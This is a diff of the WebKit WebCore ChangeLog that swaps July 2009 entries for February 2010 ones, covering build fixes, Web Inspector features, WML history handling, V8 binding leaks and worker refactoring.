-        - Modify FrameLoader::canCachePageContainingThisFrame() to check for !frameContainsWMLContent().
-          WML pages should never be cached, potential security problem due the use of variables (per spec).
-
-        Add two new WML tests which were broken before, testing onenterforward/onenterbackward event handling
-        and history navigation (<prev/> task).
-
-        Tests: wml/enter-card-with-events.html
-               wml/enter-first-card-with-events.html
-
-        * dom/Document.cpp: Initialize new 'm_containsWMLContent' property.
-        (WebCore::Document::Document):
-        * dom/Document.h: Add new helper methods and 'm_containsWMLContent" variable (explained above).
-        (WebCore::Document::setContainsWMLContent):
-        (WebCore::Document::containsWMLContent):
-        * history/BackForwardList.cpp:
-        (WebCore::BackForwardList::clearWMLPageHistory): Renamed from clearWmlPageHistory() & slight cleanup.
-        * history/BackForwardList.h:
-        * loader/FrameLoader.cpp: Rework WML loading behaviour (explained above).
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::frameContainsWMLContent):
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::shouldReload):
-        (WebCore::FrameLoader::loadItem):
-        * loader/FrameLoader.h:
-        * wml/WMLCardElement.cpp: 
-        (WebCore::WMLCardElement::handleIntrinsicEventIfNeeded): No need anymore to manually track history length.
-        (WebCore::WMLCardElement::insertedIntoDocument): Handle setting containsWMLContent on the main frame document.
-        * wml/WMLGoElement.cpp: 
-        (WebCore::WMLGoElement::executeTask): Remove call to FrameLoader::setForceReloadWmlDeck()
-        * wml/WMLPageState.cpp: Remove 'm_historyLength' - no need anymore to track history length on our own.
-        (WebCore::WMLPageState::WMLPageState):
-        (WebCore::WMLPageState::dump):
-        (WebCore::WMLPageState::reset):
-        * wml/WMLPageState.h:
-
-2009-07-27  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Adam Roben.
-
-        Fix Chromium build breakage introduced in 46388.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27705
-
-        * platform/graphics/chromium/FontPlatformDataChromiumWin.cpp:
-        (WebCore::FontPlatformData::description):
-        * platform/graphics/chromium/FontPlatformDataChromiumWin.h:
+        (WebInspector.pausedScript):
+        (WebInspector.addConsoleMessage):
 
-2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+2010-02-05  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
 
         Reviewed by Simon Hausmann.
 
-        Add some more debug logging to PluginViewMac.
-
-        * plugins/mac/PluginViewMac.cpp:
+        [Qt] Generate convenience headers (QWebView, etc) using qmake
 
-2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        In Qt this is done using syncqt, but we use a pro-file instead
+        that generates makefile-rules for each of the extra headers.
 
-        Reviewed by Jan Michael Alonzo.
+        These extra headers are installed alongside the normal headers.
 
-        Remove dead code from the GTK NPAPI implementation.
+        * WebCore.pro: Use headers.pri based on DerivedSources instead
+        of the one previously checked in in the source tree.
 
-        * plugins/gtk/PluginViewGtk.cpp:
+2010-02-05  Mikhail Naganov  <mnaganov@chromium.org>
 
-2009-07-27  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
+        Reviewed by Pavel Feldman.
 
-        Reviewed by Simon Hausmann.
+        Enable JAVASCRIPT_DEBUGGER in chromium port.
 
-        [Qt] Buildfix on Windows.
-        https://bugs.webkit.org/show_bug.cgi?id=27702
+        https://bugs.webkit.org/show_bug.cgi?id=34638
 
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::hookedEndPaint):
-            Constraint of (*endPaint) operand modified from "g" to "m" (memory) in inline 
-            assembly, because with "g" constraint, wrong assembly code generated.
+        * page/Console.cpp:
+        * page/Console.h:
+        * page/Console.idl:
 
-2009-07-27  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-05  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebCore bindings: Implement ScriptArray bindings.
+        Web Inspector: Tab width for javascript source is 8, should be 4
 
-        https://bugs.webkit.org/show_bug.cgi?id=27691
+        https://bugs.webkit.org/show_bug.cgi?id=31248
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/ScriptArray.cpp: Added.
-        (WebCore::ScriptArray::ScriptArray):
-        (WebCore::handleException):
-        (WebCore::ScriptArray::set):
-        (WebCore::length):
-        (WebCore::ScriptArray::createNew):
-        * bindings/js/ScriptArray.h: Added.
-        (WebCore::ScriptArray::ScriptArray):
-        (WebCore::ScriptArray::jsArray):
-        * bindings/v8/ScriptArray.cpp: Added.
-        (WebCore::ScriptArray::ScriptArray):
-        (WebCore::ScriptArray::set):
-        (WebCore::ScriptArray::length):
-        (WebCore::ScriptArray::createNew):
-        * bindings/v8/ScriptArray.h: Added.
-        (WebCore::ScriptArray::ScriptArray):
-        (WebCore::ScriptArray::~ScriptArray):
-
-2009-07-27  Brent Fulgham  <bfulgham@webkit.org>
-
-        Build correct, no review.
-
-        Change in r46407 broke Apple Windows build.
-        Switch to WinCairo-only test, to avoid any
-        other platform break.
-
-        * WebCorePrefix.h: 
-
-2009-07-26  Brent Fulgham  <bfulgham@webkit.org>
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame):
+        * inspector/front-end/TextEditorModel.js:
+        (WebInspector.TextEditorModel.prototype.set replaceTabsWithSpaces):
+        (WebInspector.TextEditorModel.prototype._innerSetText):
+        (WebInspector.TextEditorModel.prototype._replaceTabsIfNeeded):
 
-        Build correct, no review.
+2010-02-05  Tony Chang  <tony@chromium.org>
 
-        Change in r46407 broke Apple Windows build.
+        Reviewed by Eric Seidel.
 
-        * WebCorePrefix.h: Use WTF_PLATFORM_CG to decide if
-          CoreServices.h should be included.
+        https://bugs.webkit.org/show_bug.cgi?id=24872
+        When pasting a list into another list should not indent another level.
+        If the cursor is at the beginning of the line, it should insert the
+        list items before the current list item.  If the cursor is at the end
+        of the line, it should insert the list items after the current list item.
 
-2009-07-26  Brent Fulgham  <bfulgham@webkit.org>
+        This matches Firefox and IE and makes the common activity of reordering a list
+        work as expected.
 
-        Build correction, no review.
+        This also adds a small helper method (isListItem) to htmlediting.h.
 
-        Change in r46195 broke WinCairo build.
+        Test: editing/pasteboard/paste-list-002.html
 
-        * WebCorePrefix.h: CoreServices should be ignored
-          for non-Apple build.
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::doApply):
+        (WebCore::ReplaceSelectionCommand::insertAsListItems):
+        * editing/ReplaceSelectionCommand.h:
+        * editing/htmlediting.cpp:
+        (WebCore::isListItem):
+        (WebCore::appendedSublist):
+        * editing/htmlediting.h:
 
-2009-07-26  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-04  Mark Rowe  <mrowe@apple.com>
 
         Reviewed by Timothy Hatcher.
 
-        Web Inspector: Implement the breakpoints sidebar pane.
-        This change adds simple UI support into the existing
-        BreakpointSidebarPane.
-
-        https://bugs.webkit.org/show_bug.cgi?id=11175
-
-        * inspector/front-end/Breakpoint.js:
-        (WebInspector.Breakpoint.prototype.set enabled):
-        (WebInspector.Breakpoint.prototype.get label):
-        (WebInspector.Breakpoint.prototype.get id):
-        * inspector/front-end/BreakpointsSidebarPane.js:
-        (WebInspector.BreakpointsSidebarPane):
-        (WebInspector.BreakpointsSidebarPane.prototype.addBreakpoint):
-        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement):
-        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement.labelClicked):
-        (WebInspector.BreakpointsSidebarPane.prototype.removeBreakpoint):
-        (WebInspector.BreakpointsSidebarPane.prototype._breakpointEnableChanged):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel):
-        (WebInspector.ScriptsPanel.prototype.scriptOrResourceForID):
-        * inspector/front-end/inspector.css:
-
-2009-07-16  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Oliver Hunt.
-
-        Canvas: rotation of 'no-repeat' pattern still has small error
-        https://bugs.webkit.org/show_bug.cgi?id=26749
-
-        Use 1<<22 as steps of no-repeat pattern to make the error less
-        than 0.5.  The previous value may cause 1 pixel errors.
-
-        Add another test to show this bug clearly.
-        Also add png expected image which was missing in the previous patch.
-
-        Test: fast/canvas/image-pattern-rotate.html
-
-        * platform/graphics/cg/PatternCG.cpp:
-        (WebCore::Pattern::createPlatformPattern):
-
-2009-07-25  Kwang Yul Seo  <skyul@company100.net>
-
-        Reviewed by Darin Adler.
-
-        Windows build break due to warning C4819
-        https://bugs.webkit.org/show_bug.cgi?id=27416
-
-        Disable C4819 warning to fix build.
-
-        * WebCore.vcproj/QTMovieWin.vcproj:
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-07-25  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Kevin McCullough.
-
-        Inspector: Keyboard Shortcuts to Switch Panels
-        https://bugs.webkit.org/show_bug.cgi?id=27286
-
-        * inspector/front-end/inspector.js:
-        (WebInspector.loaded): save a list of the order of the panels
-        (WebInspector.documentKeyDown): handle the keyboard shortcuts to traverse the panels
-
-2009-07-25  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by George Staikos.
-
-        [Qt] Fix build break after r46369
-        https://bugs.webkit.org/show_bug.cgi?id=27680
-
-        * WebCore.pro:
-
-2009-07-25  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
+        Build fix.  Remove a symbol corresponding to an inline function from the linker export
+        file to prevent a weak external failure.
 
-        [WML] Variable substitution is buggy
-        https://bugs.webkit.org/show_bug.cgi?id=27677
+        * WebCore.base.exp: Remove symbol.
+        * WebCore.xcodeproj/project.pbxproj: Accommodate rename of script.
 
-        Substitute variables upon attach() time instead of insertedIntoDocument(). Otherwhise variable substitution
-        won't work during inter-deck jumps (same URL, different fragment). Covered by new test fast/wml/newcontext-same-deck.html.
-
-        * dom/Text.cpp:
-        (WebCore::Text::attach):
-        * dom/Text.h:
-
-2009-07-25  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] WMLDoElement doesn't update its RenderButton object upon attach()
-        https://bugs.webkit.org/show_bug.cgi?id=27676
-
-        WMLDoElement needs to implement attach() and call updateFromElement() on its associated RenderButton.
-        Mimics HTMLButtonElement/HTMLFormControlElement behaviour and fixes several painting/styling issues covered by existing tests in fast/wml.
-
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::attach):
-        * wml/WMLDoElement.h:
-
-2009-07-25  Pavel Feldman  <pfeldman@chromium.org>
-
-        Fix Windows build breakage introduced in 46390.
-
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+2010-02-04  Geoffrey Garen  <ggaren@apple.com>
 
         Reviewed by Oliver Hunt.
 
-        Inspector: Properties Should be Sorted more Naturally
-        https://bugs.webkit.org/show_bug.cgi?id=27329
-
-        * inspector/front-end/ObjectPropertiesSection.js:
-        (WebInspector.ObjectPropertiesSection.prototype.update): use the displaySort when showing properties
-        (WebInspector.ObjectPropertiesSection.prototype._displaySort): alphaNumerical sort
-        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate): use the displaySort when showing properties
-        * inspector/front-end/utilities.js:
-        (Object.sortedProperties): allow for an optional sorting function in Object.sortedProperties
-
-2009-07-24  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Split InspectorController into InspectorController
-        and InspectorBackend. Everything frontend needs from InspectorController
-        will slowly migrate into the InspectorBackend.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27541
-
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSInspectorBackendCustom.cpp: Added.
-        (WebCore::JSInspectorBackend::highlightDOMNode):
-        (WebCore::JSInspectorBackend::search):
-        (WebCore::JSInspectorBackend::databaseTableNames):
-        (WebCore::JSInspectorBackend::inspectedWindow):
-        (WebCore::JSInspectorBackend::setting):
-        (WebCore::JSInspectorBackend::setSetting):
-        (WebCore::JSInspectorBackend::wrapCallback):
-        (WebCore::JSInspectorBackend::currentCallFrame):
-        (WebCore::JSInspectorBackend::profiles):
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/js/JSInspectorControllerCustom.cpp: Removed.
-        * bindings/js/ScriptObject.cpp:
-        (WebCore::ScriptGlobalObject::set):
-        * bindings/js/ScriptObject.h:
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/ScriptObject.cpp:
-        (WebCore::ScriptGlobalObject::set):
-        * bindings/v8/ScriptObject.h:
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8InspectorControllerCustom.cpp: Removed.
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::InspectorController):
-        (WebCore::InspectorController::windowScriptObjectAvailable):
-        * inspector/InspectorController.h:
-        (WebCore::InspectorController::inspectorBackend):
-        * inspector/InspectorBackend.cpp: Added.
-        * inspector/InspectorBackend.h: Added.
-        (WebCore::InspectorBackend::create):
-        (WebCore::InspectorBackend::inspectorController):
-        * inspector/InspectorBackend.idl: Added.
-        * inspector/InspectorController.idl: Removed.
-        * inspector/front-end/Resource.js:
-        * page/Page.cpp:
-        (WebCore::Page::Page):
-        * page/Page.h:
-
-2009-07-25  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        Update WebCore/page/Frame.cpp/h to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27654
-
-        * page/Frame.cpp:
-        (WebCore::Frame::Frame):
-        (WebCore::Frame::~Frame):
-        (WebCore::Frame::setDocument):
-        (WebCore::Frame::firstRectForRange):
-        (WebCore::createRegExpForLabels):
-        (WebCore::Frame::searchForLabelsBeforeElement):
-        (WebCore::Frame::matchLabelsAgainstElement):
-        (WebCore::Frame::selectionLayoutChanged):
-        (WebCore::Frame::setZoomFactor):
-        (WebCore::Frame::reapplyStyles):
-        (WebCore::Frame::isContentEditable):
-        (WebCore::Frame::computeAndSetTypingStyle):
-        (WebCore::Frame::selectionStartStylePropertyValue):
-        (WebCore::Frame::selectionComputedStyle):
-        (WebCore::Frame::applyEditingStyleToBodyElement):
-        (WebCore::Frame::removeEditingStyleFromBodyElement):
-        (WebCore::Frame::applyEditingStyleToElement):
-        (WebCore::Frame::selectionBounds):
-        (WebCore::Frame::currentForm):
-        (WebCore::Frame::revealSelection):
-        (WebCore::Frame::styleForSelectionStart):
-        (WebCore::Frame::setSelectionFromNone):
-        (WebCore::Frame::findString):
-        (WebCore::Frame::markAllMatchesForText):
-        (WebCore::Frame::setMarkedTextMatchesAreHighlighted):
-        (WebCore::Frame::clearFormerDOMWindow):
-        (WebCore::Frame::unfocusWindow):
-        (WebCore::Frame::respondToChangedSelection):
-        (WebCore::Frame::documentAtPoint):
-        * page/Frame.h:
-        (WebCore::Frame::create):
-        (WebCore::Frame::displayStringModifiedByEncoding):
-        (WebCore::Frame::pageZoomFactor):
-        (WebCore::Frame::textZoomFactor):
-
-2009-07-24  Dan Bernstein  <mitz@apple.com>
+        Updated to use new WeakGCPtr::clear interface.
 
-        Reviewed by Darin Adler.
-
-        Add functions to print the glyph page trees for debugging
-        https://bugs.webkit.org/show_bug.cgi?id=27671
-
-        * platform/graphics/FontData.h: Defined a description() method.
-
-        * platform/graphics/GlyphPageTreeNode.cpp:
-        (WebCore::GlyphPageTreeNode::showSubtree): Added. Prints the node and
-            its descendants.
-        (showGlyphPageTrees): Added. Prints all glyph page trees.
-        (showGlyphPageTree): Added. Prints the glyph page tree for a given page.
-        * platform/graphics/GlyphPageTreeNode.h:
-
-        * platform/graphics/SegmentedFontData.cpp:
-        (WebCore::SegmentedFontData::description): Added.
-
-        * platform/graphics/SegmentedFontData.h:
-        * platform/graphics/SimpleFontData.cpp:
-        (WebCore::SimpleFontData::description): Added. Uses the platform data
-            as the description for non-svg, non-custom fonts.
-        * platform/graphics/SimpleFontData.h:
-
-        * platform/graphics/gtk/FontPlatformData.h:
-        * platform/graphics/gtk/FontPlatformDataGtk.cpp:
-        (WebCore::FontPlatformData::description): Added. Returns a null string.
-        * platform/graphics/gtk/FontPlatformDataPango.cpp:
-        (WebCore::FontPlatformData::description): Added. Returns a null string.
-
-        * platform/graphics/mac/FontPlatformData.h:
-        * platform/graphics/mac/FontPlatformDataMac.mm:
-        (WebCore::FontPlatformData::description): Added. Returns the
-            description of the CGFont, the size and the synthetic style flags,
-            if set.
-
-        * platform/graphics/qt/FontPlatformData.h:
-        * platform/graphics/qt/FontPlatformDataQt.cpp:
-        (WebCore::FontPlatformData::description): Added. Returns a null string.
-
-        * platform/graphics/win/FontPlatformData.h:
-        * platform/graphics/win/FontPlatformDataWin.cpp:
-        (WebCore::FontPlatformData::description): Added. Returns a null string.
-
-        * platform/graphics/wince/FontPlatformData.cpp:
-        (WebCore::FontPlatformData::description): Added. Returns a null string.
-        * platform/graphics/wince/FontPlatformData.h:
+        * bindings/js/JSEventListener.cpp:
+        * bindings/js/JSEventListener.h:
+        (WebCore::JSEventListener::invalidateJSFunction):
 
-        * platform/graphics/wx/FontPlatformData.h:
-        * platform/graphics/wx/FontPlatformDataWx.cpp:
-        (WebCore::FontPlatformData::description): Added. Returns a null string.
+2010-02-04  Geoffrey Garen  <ggaren@apple.com>
 
-2009-07-24  Mads Ager  <ager@chromium.org>
+        Build fix: Added a forwarding header.
 
-        Reviewed by Adam Barth.
+        * ForwardingHeaders/runtime/WeakGCPtr.h: Added.
 
-        SVG and XPath memory leaks in V8 bindings
-        https://bugs.webkit.org/show_bug.cgi?id=27488
+2010-02-04  Geoffrey Garen  <ggaren@apple.com>
 
-        Add proper 'create' methods to SVGPodTypeWrappers and
-        XPathNSResolvers in the V8 bindings to avoid memory leaks.
+        Reviewed by Alexey Proskuryakov and Darin Adler.
 
-        Introduce convertToV8Object methods that accept PassRefPtrs and
-        clean up the use of get() and release() on RefPtrs.
+        REGRESSION (r52082): Missing event handlers on JQuery demo page (33383)
+        https://bugs.webkit.org/show_bug.cgi?id=33383
+        <rdar://problem/7559449>
         
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::convertNodeToV8Object):
-        (WebCore::V8DOMWrapper::convertEventToV8Object):
-        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
-        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):
-        * bindings/v8/V8SVGPODTypeWrapper.h:
-        (WebCore::V8SVGPODTypeWrapperCreatorForList::create):
-        (WebCore::V8SVGPODTypeWrapperCreatorForList::V8SVGPODTypeWrapperCreatorForList):
-        (WebCore::V8SVGStaticPODTypeWrapper::create):
-        (WebCore::V8SVGStaticPODTypeWrapper::V8SVGStaticPODTypeWrapper):
-        (WebCore::V8SVGStaticPODTypeWrapperWithPODTypeParent::create):
-        (WebCore::V8SVGStaticPODTypeWrapperWithPODTypeParent::V8SVGStaticPODTypeWrapperWithPODTypeParent):
-        (WebCore::V8SVGStaticPODTypeWrapperWithParent::create):
-        (WebCore::V8SVGStaticPODTypeWrapperWithParent::V8SVGStaticPODTypeWrapperWithParent):
-        (WebCore::V8SVGDynamicPODTypeWrapper::create):
-        (WebCore::V8SVGDynamicPODTypeWrapper::V8SVGDynamicPODTypeWrapper):
-        (WebCore::V8SVGDynamicPODTypeWrapperCache::lookupOrCreateWrapper):
-        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8ClientRectListCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
-        (WebCore::V8CustomXPathNSResolver::create):
-        * bindings/v8/custom/V8CustomXPathNSResolver.h:
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8ElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        (WebCore::getItem):
-        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::ACCESSOR_GETTER):
-        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
-        (WebCore::toV8):
-        * bindings/v8/custom/V8NodeListCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
-        (WebCore::toV8):
-        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-24  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Jon Honeycutt.
-
-        Fix of <rdar://6310538> Middle-click panning should be springloaded while dragging
-        https://bugs.webkit.org/show_bug.cgi?id=21794
+        There were two bugs here:
         
-        Create two new booleans to determine whether we have done a springloaded pan scroll, and update
-        the name of setPanScrollCursor to updatePanScrollState to more accurately describe what the function
-        does. 
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::EventHandler): Initialized two new booleans.
-        (WebCore::EventHandler::autoscrollTimerFired):
-        (WebCore::EventHandler::updatePanScrollState): Renamed from setPanScrollCursor.
-        (WebCore::EventHandler::stopAutoscrollTimer): Clear the pan scrolling in progress flag.
-        (WebCore::EventHandler::handleMouseReleaseEvent): Clear the pan scrolling button pressed flag.
-        * page/EventHandler.h:
-
-2009-07-24  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27657
-        Add more wince port files to WebCore
-
-        Written by Yong Li  <yong.li@torchmobile.com> and Lyon Chen <lyon.chen@torchmobile.com>
-
-        * loader/icon/wince/IconDatabaseWince.cpp: Added.
-        * rendering/RenderThemeWince.cpp: Added.
-        * rendering/RenderThemeWince.h: Added.
-        * storage/wince/DatabaseThreadWince.cpp: Added.
-        * storage/wince/DatabaseThreadWince.h: Added.
-        * storage/wince/LocalStorageThreadWince.cpp: Added.
-        * storage/wince/LocalStorageThreadWince.h: Added.
-        * svg/graphics/wince/SVGResourceFilterWince.cpp: Added.
-
-2009-07-24  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Justin Garcia.
-
-        execCommand('underline') can modify DOM outside of the contentEditable area
-        https://bugs.webkit.org/show_bug.cgi?id=24333
-
-        highestAncestorWithTextDecoration stops at the closest unsplittable element so that if text-decoration is applied
-        outside of it, we don't accidently modify the style attribute.
-
-        Tests: editing/style/textdecoration-outside-of-rooteditable.html
-               editing/style/textdecoration-outside-of-unsplittable-element.html
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::StyleChange::init):
-        (WebCore::highestAncestorWithTextDecoration):
-
-2009-07-24  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27639
-
-        Fixes false positives when evaluating certain strings that only contain 
-        non-canonical characters.
-
-        Test: http/tests/security/xssAuditor/script-tag-safe.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::isNonCanonicalCharacter):
-        (WebCore::XSSAuditor::findInRequest):
-
-2009-07-24  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Changed WorkerContext destructor to not access possibly-freed WorkerThread.
-
-        Failed assertion in WorkerContext::~WorkerContext().
-        https://bugs.webkit.org/show_bug.cgi?id=27665
-
-       * workers/DedicatedWorkerContext.cpp:
-        (WebCore::DedicatedWorkerContext::~DedicatedWorkerContext):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::~WorkerContext):
-        Removed assertion that relies on WorkerThread still being alive (moved to DedicatedWorkerContext destructor).
-
-2009-07-24  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by Adam Barth.
-
-        Updated code generator to properly generate bindings for WorkerContext exposed functions.
-
-        Storing a reference to WorkerContext.postMessage() and calling it later yields a TypeError
-        https://bugs.webkit.org/show_bug.cgi?id=27419
-
-        Test: fast/workers/worker-call.html
-
-        * bindings/js/JSWorkerContextBase.cpp:
-        (WebCore::toJSDedicatedWorkerContext):
-        (WebCore::toJSWorkerContext):
-        Functions that convert from JSValue to the appropriate WorkerContext/DedicatedWorkerContext object.
-        * bindings/js/JSWorkerContextBase.h:
-        Added toJS*WorkerContext APIs.
-        * bindings/scripts/CodeGeneratorJS.pm:
-        Added code to appropriately check the passed-in this object when invoking functions at global scope.
-
-2009-07-24  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by Adam Barth.
-
-        Refactor WorkerContext to move DedicatedWorker-specific APIs into DedicatedWorkerContext
-        https://bugs.webkit.org/show_bug.cgi?id=27420
-
-        No new tests as the existing tests already provide sufficient coverage (this is just a refactoring with no new functionality).
-
-        * DerivedSources.cpp:
-        Added JSDerivedWorkerContext.cpp
-        * DerivedSources.make:
-        Added DerivedWorkerContext files
-        * GNUmakefile.am:
-        Added DerivedWorkerContext files
-        * WebCore.gypi:
-        Added DerivedWorkerContext files
-        * WebCore.pro:
-        Added DerivedWorkerContext files
-        * WebCore.vcproj/WebCore.vcproj:
-        Added DerivedWorkerContext files
-        * WebCore.xcodeproj/project.pbxproj:
-        Added DerivedWorkerContext files
-        * bindings/js/JSDedicatedWorkerContextCustom.cpp: Added.
-        (WebCore::JSDedicatedWorkerContext::mark):
-        Custom mark function for onmessage event handler.
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        Supports conversion to JSDedicatedWorkerContext.
-        (WebCore::toEventTarget):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::mark):
-        Moved onmessage mark handling into DedicatedWorkerContext.
-        * bindings/js/WorkerScriptController.cpp:
-        Added appropriate casts to DedicatedWorkerContext for postMessage().
-        (WebCore::WorkerScriptController::initScript):
-        Manually sets up the prototype chain for the worker context.
-        * bindings/scripts/CodeGeneratorJS.pm:
-        Changed special case code for WorkerContext to be triggered by new IsWorkerContext attribute.
-        * bindings/scripts/CodeGeneratorV8.pm:
-        Changed hard-coded tests for WorkerContext to support DedicatedWorkerContext.
-        * bindings/v8/DOMObjectsInclude.h:
-        Added DedicatedWorkerContext.h
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        Added V8DedicatedWorkerContext.cpp
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        Added code to reserve extra fields for V8DedicatedWorkerContext.
-        * bindings/v8/V8Index.cpp:
-        Now includes V8DedicatedWorkerContext.h in addition to V8WorkerContext.h
-        * bindings/v8/V8Index.h:
-        Added DedicatedWorkerContext as a non-node wrapper type.
-        Removed WORKERCONTEXT as a valid template type.
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
-        Creates DedicatedWorkerContext instead of WorkerContext.
-        (WebCore::WorkerContextExecutionProxy::EventTargetToV8Object):
-        Returns DedicatedWorkerContext instead of WorkerContext.
-        (WebCore::WorkerContextExecutionProxy::retrieve):
-        Refactored to deal with DedicatedWorkerContext.
-        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp: Added.
-        Moved onmessage code from V8WorkerContextCustom.cpp
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        Moved onmessage code to V8DedicatedWorkerContextCustom.cpp
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::toDedicatedWorkerContext):
-        * dom/EventTarget.h:
-        * workers/DedicatedWorkerContext.cpp: Added.
-        Moved DedicatedWorker-only APIs from WorkerContext.
-        (WebCore::DedicatedWorkerContext::DedicatedWorkerContext):
-        (WebCore::DedicatedWorkerContext::~DedicatedWorkerContext):
-        (WebCore::DedicatedWorkerContext::reportException):
-        (WebCore::DedicatedWorkerContext::postMessage):
-        (WebCore::DedicatedWorkerContext::dispatchMessage):
-        * workers/DedicatedWorkerContext.h: Added.
-        Moved DedicatedWorker-only APIs from WorkerContext.
-        (WebCore::DedicatedWorkerContext::create):
